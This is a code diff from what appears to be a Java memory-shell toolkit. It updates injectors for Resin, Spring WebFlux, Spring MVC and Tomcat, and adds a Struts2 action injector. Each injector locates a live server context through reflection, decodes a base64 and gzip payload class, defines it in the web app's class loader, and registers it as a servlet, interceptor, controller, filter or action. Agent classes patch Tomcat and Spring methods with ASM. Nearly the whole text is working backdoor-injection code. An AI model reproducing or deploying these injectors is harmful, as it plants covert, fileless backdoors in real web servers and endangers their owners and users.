} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -38,7 +30,52 @@ public class ResinServletInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public List<Object> getContext() throws Exception { public ResinServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
@@ -50,7 +87,7 @@ public class ResinServletInjector {
} catch (Exception ignored) { } catch (Exception ignored) {
} }
} }
return Arrays.asList(contexts.toArray()); return contexts;
} }
public ClassLoader getWebAppClassLoader(Object context) throws Exception { public ClassLoader getWebAppClassLoader(Object context) throws Exception {
@@ -64,40 +101,37 @@ public class ResinServletInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
private void inject(Object context, Object servlet) throws Exception { private void inject(Object context, Object servlet) throws Exception {
if (isInjected(context)) { Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
System.out.println("servlet already injected"); for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return; return;
} }
}
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping"); Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
Object servletMapping = servletMappingClass.newInstance(); Object servletMapping = servletMappingClass.newInstance();
invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "setServletName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping}); invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
System.out.println("servlet injected success");
} }
@SuppressWarnings("all") @Override
public boolean isInjected(Object context) throws Exception { public String toString() {
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets"); return msg;
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return true;
}
}
return false;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -145,12 +179,11 @@ public class ResinServletInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -167,11 +200,22 @@ public class ResinServletInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebFluxHandlerFunctionInjector { public class SpringWebFluxHandlerFunctionInjector {
private static String msg = "";
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector {
} }
public SpringWebFluxHandlerFunctionInjector() { public SpringWebFluxHandlerFunctionInjector() {
Object webHandler = null;
try { try {
Object webHandler = getWebHandler(); webHandler = getWebHandler();
Object functionObj = getShell(); Object shell = getShell();
inject(webHandler, functionObj); inject(webHandler, shell);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
@@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -32,7 +32,7 @@ public class SpringWebFluxWebFilterInjector {
public SpringWebFluxWebFilterInjector() { public SpringWebFluxWebFilterInjector() {
try { try {
FilteringWebHandler webHandler = getWebHandler(); FilteringWebHandler webHandler = getWebHandler();
Object filter = getShell(); Object filter = getShell(webHandler);
inject(webHandler, filter); inject(webHandler, filter);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -52,19 +52,18 @@ public class SpringWebFluxWebFilterInjector {
return null; return null;
} }
private Object getShell() throws Exception { @SuppressWarnings("all")
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); private Object getShell(Object context) throws Exception {
Object interceptor = null; ClassLoader classLoader = context.getClass().getClassLoader();
try { try {
interceptor = classLoader.loadClass(getClassName()).newInstance(); return classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance(); return clazz.newInstance();
} }
return interceptor;
} }
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception { public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
@@ -117,6 +116,6 @@ public class SpringWebFluxWebFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
@@ -16,6 +16,9 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcControllerHandlerInjector { public class SpringWebMvcControllerHandlerInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
} }
@@ -29,48 +32,46 @@ public class SpringWebMvcControllerHandlerInjector {
} }
public SpringWebMvcControllerHandlerInjector() { public SpringWebMvcControllerHandlerInjector() {
try { if (ok) {
Object context = getContext(); return;
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
} }
} Object context = null;
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try { try {
return classLoader.loadClass("javax.servlet.ServletContext"); context = getContext();
} catch (Throwable e) { } catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext"); msg += "context error: " + getErrorMessage(e);
} }
if (context == null) {
msg += "context not found";
} else {
try {
Object shell = getShell();
msg += "context: [" + context + "] ";
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { public Object getContext() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try { try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest"); Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession"); return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next(); Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext; return applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
} }
} }
return context; return null;
} }
private Object getShell() throws Exception { private Object getShell() throws Exception {
@@ -99,11 +100,14 @@ public class SpringWebMvcControllerHandlerInjector {
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass}); Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap"); Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
if (handlerMap.get(getUrlPattern()) != null) { if (handlerMap.get(getUrlPattern()) != null) {
System.out.println("controller already injected");
return; return;
} }
handlerMap.put(getUrlPattern(), controller); handlerMap.put(getUrlPattern(), controller);
System.out.println("controller injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -183,7 +187,7 @@ public class SpringWebMvcControllerHandlerInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -197,4 +201,19 @@ public class SpringWebMvcControllerHandlerInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -33,7 +33,6 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.springframework.web.servlet.FrameworkServlet.service");
} }
} }
} }
@@ -53,6 +52,7 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +69,8 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) { if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.List; import java.util.List;
import java.util.Set; import java.util.Set;
@@ -16,6 +16,9 @@ import java.util.zip.GZIPInputStream;
*/ */
public class SpringWebMvcInterceptorInjector { public class SpringWebMvcInterceptorInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -25,50 +28,49 @@ public class SpringWebMvcInterceptorInjector {
} }
public SpringWebMvcInterceptorInjector() { public SpringWebMvcInterceptorInjector() {
try { if (ok) {
Object context = getContext(); return;
Object interceptor = getShell();
inject(context, interceptor);
} catch (Exception e) {
e.printStackTrace();
} }
} Object context = null;
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
try { try {
return classLoader.loadClass("javax.servlet.ServletContext"); context = getContext();
} catch (Throwable e) { } catch (Throwable e) {
return classLoader.loadClass("jakarta.servlet.ServletContext"); msg += "context error: " + getErrorMessage(e);
} }
if (context == null) {
msg += "context not found";
} else {
try {
Object shell = getShell();
msg += "context: [" + context + "] ";
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { public Object getContext() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object context = null;
try { try {
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
Object request = invokeMethod(requestAttributes, "getRequest"); Object request = invokeMethod(requestAttributes, "getRequest");
Object session = invokeMethod(request, "getSession"); return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
Object servletContext = invokeMethod(session, "getServletContext");
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace();
}
if (context == null) {
try {
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
Object applicationContext = applicationContexts.iterator().next(); Object applicationContext = applicationContexts.iterator().next();
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
context = applicationContext; return applicationContext;
}
} catch (Exception e) {
e.printStackTrace();
} }
} }
return context; return null;
} }
@SuppressWarnings("all")
private Object getShell() throws Exception { private Object getShell() throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Object interceptor = null; Object interceptor = null;
@@ -90,12 +92,15 @@ public class SpringWebMvcInterceptorInjector {
List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors"); List<Object> adaptedInterceptors = (List<Object>) getFieldValue(abstractHandlerMapping, "adaptedInterceptors");
for (Object adaptedInterceptor : adaptedInterceptors) { for (Object adaptedInterceptor : adaptedInterceptors) {
if (adaptedInterceptor.getClass().getName().equals(getClassName())) { if (adaptedInterceptor.getClass().getName().equals(getClassName())) {
System.out.println("interceptor already injected");
return; return;
} }
} }
adaptedInterceptors.add(interceptor); adaptedInterceptors.add(interceptor);
System.out.println("interceptor injected successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -175,7 +180,7 @@ public class SpringWebMvcInterceptorInjector {
} }
} }
throw new NoSuchFieldException(name); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@@ -189,4 +194,19 @@ public class SpringWebMvcInterceptorInjector {
} }
return null; return null;
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -0,0 +1,230 @@
package com.reajason.javaweb.memshell.injector.struct2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2025/12/8
*/
public class Struct2ActionInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Struct2ActionInjector() {
if (ok) {
return;
}
Object context = null;
try {
context = getContext();
} catch (Throwable e) {
msg += "context error: " + getErrorMessage(e);
}
if (context == null) {
msg += "context not found";
} else {
try {
Object shell = getShell(context);
inject(context, shell);
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}
public Object getContext() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
ClassLoader contextClassLoader = thread.getContextClassLoader();
if (contextClassLoader != null) {
try {
Class<?> clazz = contextClassLoader.loadClass("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
if (context != null) {
return context;
}
} catch (ClassNotFoundException e) {
continue;
}
}
}
return null;
}
private void inject(Object context, Object shell) throws Exception {
Object actionInvocation = invokeMethod(context, "getActionInvocation");
Object actionProxy = getFieldValue(actionInvocation, "proxy");
Object configuration = getFieldValue(actionProxy, "configuration");
Object runtimeConfiguration = getFieldValue(configuration, "runtimeConfiguration");
Map<String, Map<String, Object>> namespaceActionConfigs = (Map<String, Map<String, Object>>) getFieldValue(runtimeConfiguration, "namespaceActionConfigs");
for (Map.Entry<String, Map<String, Object>> entry : namespaceActionConfigs.entrySet()) {
String namespace = entry.getKey();
Map<String, Object> configs = entry.getValue();
if (!configs.isEmpty()) {
Object firstActionConfig = configs.entrySet().iterator().next().getValue();
String actionName = getUrlPattern().substring(1);
if (configs.containsKey(actionName)) {
continue;
}
String packageName = (String) getFieldValue(firstActionConfig, "packageName");
Class<?> actionConfigClass = context.getClass().getClassLoader().loadClass("com.opensymphony.xwork2.config.entities.ActionConfig");
Constructor<?> actionConfigConstructor = actionConfigClass.getDeclaredConstructor(String.class, String.class, String.class);
actionConfigConstructor.setAccessible(true);
Object actionConfig = actionConfigConstructor.newInstance(namespace, packageName, getClassName());
configs.put(actionName, actionConfig);
msg += "namespace: [" + (namespace.isEmpty() ? "default" : namespace) + "] [" + getUrlPattern() + "] ready\n";
}
}
}
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Object interceptor = null;
try {
interceptor = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
interceptor = clazz.newInstance();
}
return interceptor;
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName) throws
Exception {
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
} finally {
if (gzipInputStream != null) {
try {
gzipInputStream.close();
} catch (IOException ignored) {
}
}
out.close();
}
return out.toByteArray();
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -2,9 +2,12 @@ package com.reajason.javaweb.memshell.injector.tomcat;
import org.objectweb.asm.*; import org.objectweb.asm.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation; import java.lang.instrument.Instrumentation;
import java.security.ProtectionDomain; import java.security.ProtectionDomain;
import java.util.zip.GZIPInputStream;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,6 +21,10 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
return "{{advisorName}}"; return "{{advisorName}}";
} }
public static String getBase64String() {
return "{{base64String}}";
}
public static void premain(String args, Instrumentation inst) throws Exception { public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst); launch(inst);
} }
@@ -33,7 +40,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) { if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke");
} }
} }
} }
@@ -43,6 +49,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) { if (TARGET_CLASS.equals(className)) {
defineTargetClass(loader);
try { try {
ClassReader cr = new ClassReader(bytes); ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -53,6 +60,7 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
return cw.toByteArray(); return cw.toByteArray();
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
@@ -69,12 +77,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
